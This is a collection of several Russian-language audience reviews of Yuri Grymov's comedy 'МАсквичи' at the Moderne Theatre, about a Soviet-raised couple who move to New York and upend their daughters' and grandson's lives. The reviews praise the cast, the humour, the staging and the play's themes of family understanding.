История сама по себе вроде бы до предела простая. Представьте, грядет воссоединение семейства. Ася и Маша, давно обосновавшиеся в Нью Йорке, ждут родителей, приезжающих из Москвы на пмж и уже готовят для них уютную и приятную жизнь в отдельной съемной кваритирке. Однако папа и мама семейства, активные и простодушные люди с советской закалкой, перебравшиеся из Бердянска в Москву и теперь попавшие в чужую и непонятную Америку, едва сойдя по трапу в благополучную американскую действительность, невольно становятся разрушителями спокойствия собственных дочерей и внука. Их непосредственность и желание помочь приводят к совершенно неожиданным последствиям. Начинают рушиться налаженный быт и отношения, хотя приехавшие при этом действуют только из самых лучших побуждений. И оказывается, что столь ценное для "американцев" личное пространство и невмешательство в жизнь близких теперь не работает. От слова совсем!
Про Машу
(Ольга Богомазова)
"Понаехавший" папа, защищая младшую дочь, раздает "обидчикам" тумаки направо и налево, даже не подумав, что это может лишить ее работы. И лишает таки! Маша, попсиховав немного, понимает, что работа ее была своего рода трудовой повинностью, освободившись от которой, она ощущает такую усталость, что несколько дней не может проснуться, пугая родных. Тут надо сказать, что сны Маши, это совершенно фантастические включения в общую канву спектакля, и, пожалуй, одна из самых интересных находок режиссера. Пройдя через такую лечебную "летаргию", Маша начинает понимать, что работа лишила ее главного в жизни-любви. И просыпается она уже совершенно другим человеком.
Про Асю
(Марина Дианова)
Старшая дочь живет между придуманным миром интернет-коучинга, где она счастливая и успешная жена страстного мужа-кубинца(Диллон Олойеде), и суровой реальностью, где глянцевая картинка несколько тускнеет. Муж не получает от нее столько внимания, сколько хотел бы, и в результате уходит искать способы получить его от пассажиров своего такси, а сама Ася страдает от одиночества, хотя и не признается в этом, вдобавок еще и совершенно перестав понимать собственного сына.
Про Лёву/Лео
(Антон Дубровский)
Младший член суперсемейки - интереснейший персонаж. С одной стороны начитанный, информированный, своеобразный и независимый, а с другой совершенно замкнутый на собственной персоне, не просто отгородившийся от всего мира стеной, а засевший в неприступной крепости, из которой выходит только в интернет. И несмотря на то, что у него Леди Гага в друзьях, реальных друзей у него попросту нет.
Лёва представляет своих родственников, как аватаров в компьютерной игре, плоских и типажных. Вся его жизнь проходит inside этой придуманной игры, и неожиданное столкновение с реальностью в виде свалившихся на его голову деда и бабушки, выводит его из равновесия, заставляя  выйти outside и оказывается, что снаружи не так и страшно, и даже девушки реальные по улицам ходят.
Бывшие бердянцы (Валерия Королева и Александр Борисов) , заварившие своим приездом всю эту кашу, становятся катализатором к тому, что члены компьютерной семьи вдруг начинают видеть, слышать и понимать друг друга. Именно на этих персонажах по большей части лежит ответственность за гомерический хохот в зале. Их постоянная непосредственная реакция на незнакомые вещи и явления -  несомненная удача спектакля. Эта парочка, как и все остальные герои, приходит у финалу от непонимания и удивления к постепенному принятию образа жизни своих родных.
Оказывается вот же он, несложный рецепт лекарства от одиночества, потери взаимопонимания, обособленности, которая никому не приносит счастья. Надо просто любить своих близких, найти в себе эту любовь где-то в глубине, нащупать, научиться видеть и слышать тех, кто рядом, и твой мир станет ярче и красочнее, и тогда обязательно придет понимание, что семья важнее всего этого мнимого благополучия .
На пресс-конференции Грымов много говорил как раз о поиске взаимопонимания. О том, что люди не дают себе труда услышать и понять друг друга. Где сейчас эти дворы, где посиделки у подъездов, отмечания праздников, когда за один стол садилось сразу несколько поколений? Мы неминуемо движемся к прогрессу, но не теряем ли при этом то, что важнее технологий, что-то человеческое в нас?
Спектакль говорит об этих сложных вещах не назидательно а легко, искрометно, как бы играючи. Недаром Грымов своим ориентиром считает фильмы Георгия Данелии. У великого мастера комедии всегда в веселое повествование подмешаны и светлая грусть и глубинный человеческий смысл. И, если Грымов воплотит идею перенести "МАсквичей" на экран, я однозначно буду рада это увидеть.
Снег, засыпавший Нью-Йорк в финале спектакля, становится для героев и реальным поводом выйти из дома всем вместе, чтобы пор***** дрова и своеобразной метафорой сплочения семьи у общего очага. И еще снег на сцене - это просто красиво. Вообще и сценография и музыкальный ряд и визуальные эффекты, неон и блестки, вставные танцевальные номера и камбэки раскрашивают бытовую историю невероятно яркими красками, делают ее еще более ************* и живой.
Ну и куда же без динозавра!!!

Посмотрела ещё один спектакль в театре Модерн.
"МАсквичи" - это современная комедия по пьесе Екатерины Брезгуновой о жизни и отношениях внутри семьи: родители-пенсионеры, их взрослые дети и внук.
Знакомо? Ещё как! Правды, эта семья не совсем такая, как у большинства из нас. Здесь дети уехали в Америку за лучшей жизнью, обосновались, наладили жизнь и пригласили родителей к себе. Но сути это не меняет.
Не важно, где сейчас живут герои, этот спектакль - смешная и очень трогательная, динамичная и правдивая история именно о нашей жизни. О взаимоотношениях в семье и обществе, непонимании и принятии, о радостях и проблемах, с которыми ежедневно сталкивается каждый из нас.
Удивительно, сколько важных вопросов поднято!
О личном пространстве и любителях бесцеремонно его нарушать. Об уважении к старшим и родительской авторитарности. О трудоголизме, увлечении психологическими тренингами, полезной еде и выборе одежды.
И красной нитью сквозь весь спектакль об отсутствии понимания между поколениями и желании это непонимание преодолеть.
И всё это с прекрасным юмором! Прекрасным, простым и понятным юмором, по которому я, оказывается, успела соскучиться! Когда одна фраза способна взорвать весь зал! Когда каждый из героев здесь настолько живой и родной, что не удивляет, когда сосед вдруг, не в силах сдержаться, восклицает: "вот точно, как моя мама!" Потому что ты сам за пару минут до этого ловил себя на мысли "вот точно, как мой сын"
И знаете, это, оказывается, мощный психологический эффект, когда ты вдруг понимаешь, что не один. Что у других всё то же самое, те же проблемы и те же трудности. Что и другие совершают похожие ошибки. Но при этом не опускают руки, а пытаются всё исправить! И у них даже получается.
И самое главное.
Не смотря за все эти серьёзные подтексты и слои глубоких смыслов, спектакль очень лёгкий, яркий, музыкальный и по-настоящему "разгрузочный". В нём столько любви, что и ты не успеваешь заметить, как всех их, тех, кто на сцене, уже любишь.
Любишь за то, что они такие родные!
Добавьте сюда яркие краски, великолепно подобранную музыку, фирменную "грымовскую" атмосферу, отличающую все его спектакли, очень стильные декорации и спецэффекты и вы поймёте, почему эту премьеру нельзя пропустить.
После этого спектакля я наконец-то отчётливо поняла, что меня цепляет в работах Юрия Грымова. Общие настройки. Общий, идентичный моему, моральный, культурный, эстетический код. И после каждого спектакля у меня возникает ощущение, что я стала чуточку лучше или хотя бы точно хочу стать лучше. Это ценно.
А смыслы... Смыслы, заложенные в спектакле "МАсквичи", догонят вас уже потом, как терпкое послевкусие, которое хочется продлить и запомнить.
Сходите в театр!

С пылу с жару, спешу поделиться майской новостью в театральном мире. Театр Модерн подготовил для своих зрителей новый спектакль по пьесе Екатерины Брезгуновой «Масквичи».
Несмотря на название, место действия - заснеженный американский Нью-Йорк, но похожая история могла произойти в любой стране, где на одной территории столкнулись люди разных культур и поколений.
В главных героях зрители узнают себя и своих близких, независимо от того, где проживают в данный момент на территории нашей необъятной: «От Москвы до самых до окраин,
С южных гор до северных морей». (с)
Эта яркая, жизненная комедия смотрится на одном дыхании, но и поднимает все важные вопросы, что сейчас остро встают перед нами. Здесь и проблема отцов и детей, зависимость от соцсетей и страх живого общения, нарушение личных границ, проблема понимания и принятия иного мировоззрения, свободы самовыражения и поиски себя. Неимоверно крутой замес из анекдотических житейских ситуаций, сюрреалистичных сновидений, хитов 80х, рок-музыки, приправленный щедрой порцией ностальжи, и все это на фоне красочных декораций. Неваляшка на афише спектакля – это образ человека, которого так просто не завалишь. Не модные ныне коучи и учителя жизни помогут вывести вас к настоящим людям, эмоциям и чувствам, а ваша семья.
Спектакль очень живой и настоящий, даже немного завидую тем, кому его только предстоит увидеть.
После спектакля состоялась встреча зрителей с актерами и художественным руководителем театра - Юрием Грымовым, где можно было задать вопросы, которые возникли по ходу действия. Спасибо за теплую атмосферу и развернутые ответы. Хочется пожелать удачной премьеры, которая состоится уже 24, 26 и 28 мая, а так же благодарных и довольных зрителей!
«Выключайте телевизор — идите в театр!», так написано на афише театра.
Поверьте, на спектакль даже Кинг-Конг и динозавры пришли!

В театре Модерн меня всегда восхищает актуальность постановок. Даже если это Шекспир, он все равно звучит очень современно.
Ну а новый спектакль «Масквичи» - это ультраактуально👏.
Юрий Грымов поставил комедию о взаимоотношениях в семье, столкновении разных поколений и разных культур. Приправил ее остросоциальным юмором, сопроводил прекрасными (как, впрочем, и всегда) музыкальными треками и показал своему зрителю сегодняшнюю жизнь.

Бабушка Маргарита- бывшая учительница (Валерия Королева). Она точно знает как сделать своих близких счастливыми и неутомимо причиняет всем добро. Раздаёт советы-указания дочерям, которые в этой своей Америке живут как-то неправильно. Проверяет телефон странного американского внука и находит там такооооеее!!!! Его точно надо отвести к психиатру, нормальные люди так себя не ведут.

Дедушка Натан (Александр Борисов) подливает масла в огонь и привозит в рафинированный Нью-Йорк кусочек советского союза. В любой непонятной ситуации сразу дает в тыкву и учит внука быть настоящим мужиком.

«Мы жили здесь десять лет, а они разрушили все за два дня, какие талантливые люди» - плачет их старшая дочь Ася (Марина Дианова). Ася переехала в Америку с маленьким сыном, вышла замуж за кубинца Мигеля (Диллон Олойеде) и взяла имя Ариэль. Для мужа она русалка, а для родителей стиральный порошок.

Младшая дочь Маша (Ольга Богомазова) успешно работала в больнице Нью-Йорка, но родителям в первый же свой день в Америке удалось исправить это недоразумение.

Внук Лео (Антон Дубровский) и зять Мигель вообще странные, их надо спасать совершенно точно и очень срочно.

Так, а где комедия? А она есть). В изумительной игре актеров, в их шутках. Знаете почему неваляшка на афишах? Это образ несгибаемого советского человека, которого «просто так не завалишь».

И ведь, действительно, смогла эта парочка вытащить своих детей и внука из уютного, а на самом деле фальшивого мира на улицу. Где есть люди, а не фолловеры. Где эмоции и ощущения настоящие и стать счастливым можно без марихуаны.
Спектакль, действительно, крутой. Как комедии Георгия Данелии. О каждом из нас с любовью и тонким юмором. Теперь я точно знаю на какой спектакль позову своих друзей и родных. Спасибо театру за очередную прекрасную постановку.